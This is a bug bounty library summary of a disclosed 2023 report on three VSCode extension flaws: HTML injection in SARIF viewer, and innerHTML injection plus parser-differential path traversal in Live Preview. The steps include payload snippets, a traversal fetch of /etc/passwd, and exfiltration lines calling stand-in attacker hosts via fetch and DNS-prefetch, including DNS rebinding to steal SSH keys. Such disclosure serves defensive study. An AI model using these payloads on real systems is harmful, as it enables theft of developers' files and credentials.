# Escaping misconfigured VSCode extensions

Three bugs in Microsoft VSCode extensions: unsanitized ReactMarkdown HTML injection, innerHTML injection via postMessage, and URL parser differential path traversal, enabling local file theft.

- Payout: $7,500
- Severity: high
- Program: Microsoft
- Credited: Vasco Franco
- Disclosed: 2023-02-21
- Write-up quality: 9/10
- Original: https://blog.trailofbits.com/2023/02/21/vscode-extension-escape-vulnerability/
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-trailofbits-com-2023-02-21-vscode-extension-escape-vulnerability
- Tags: domain:desktop impact:data-leak kind:bounty platform:blog sev:high tech:electron technique:chained technique:parser-differential technique:source-review vuln:misconfiguration vuln:path-traversal vuln:xss

**Target:** VSCode Webview extensions (SARIF viewer, Live Preview)
**Root cause:** SARIF viewer renders finding descriptions with ReactMarkdown escapeHtml=false and sets localResourceRoots to the whole disk; Live Preview sets innerHTML from iframe postMessage and its local HTTP server parses query strings with lastIndexOf('?') instead of the URL class, diverging from browser parsing.
**Steps:**
1. Vuln1: craft SARIF file with message.markdown containing `<img src=x onerror=...>`; opening it in SARIF viewer executes JS in Webview
2. Fetch `https://file+.vscode-resource.vscode-cdn.net/` + path to read any file (localResourceRoots allows z: drive)
3. Exfiltrate via `<link rel=dns-prefetch href=//<hex>.attacker.com>` to bypass connect-src CSP
4. Vuln2: malicious HTML previewed in Live Preview sends postMessage to link-hover-start handler; Webview sets innerHTML unsanitized
5. Inject `<iframe srcdoc="<script nonce=...>">` to execute JS (nonce blocks direct script)
6. Vuln3: from previewed HTML, `fetch('http://127.0.0.1:3000/?../../../../../../etc/passwd?')` — browser treats `?../..` as query, server's lastIndexOf('?') treats it as path, yielding traversal
7. Exfiltrate file via `fetch('http://attacker/?q='+btoa(data))` since exploit page shares localhost:3000 origin
8. DNS rebinding: host exploit at rbndr domain flipping between attacker IP and 127.0.0.1; loop fetches until resolution hits localhost, stealing files when victim visits malicious site while server runs
**How found:** Reviewed SARIF viewer rendering code, spotted ReactMarkdown with escapeHtml=false and a localResourceRoots set to the whole disk. For Live Preview, audited postMessage handlers and found innerHTML sink; after CSP nonce blocked JS injection, pivoted to the local HTTP server and noticed hand-coded lastIndexOf('?') query parsing diverging from browser URL parsing.
**Exploitation:** Vuln1: attacker ships malicious SARIF (or poisons a static-analysis rule's metadata) so opening it in SARIF viewer executes JS, reads ~/.ssh/id_rsa via vscode-resource fetch, and exfiltrates via DNS-prefetch subdomains. Vuln3: attacker HTML previewed in Live Preview uses parser-differential path traversal to read arbitrary files from the local HTTP server and POSTs them to attacker server; DNS rebinding extends this to any website visit while the server runs in background.
**Escalation:** DNS rebinding raises Live Preview path traversal from 'victim must preview malicious file' to 'victim merely visits attacker site while extension server runs', enabling SSH key theft.
**Insight:** When CSP blocks script execution, pivot to the extension's local HTTP server: hand-rolled query-string parsing (lastIndexOf vs first '?') creates parser-differential path traversal reachable from a browser fetch. Also, DNS-prefetch link tags bypass connect-src CSP for exfiltration.
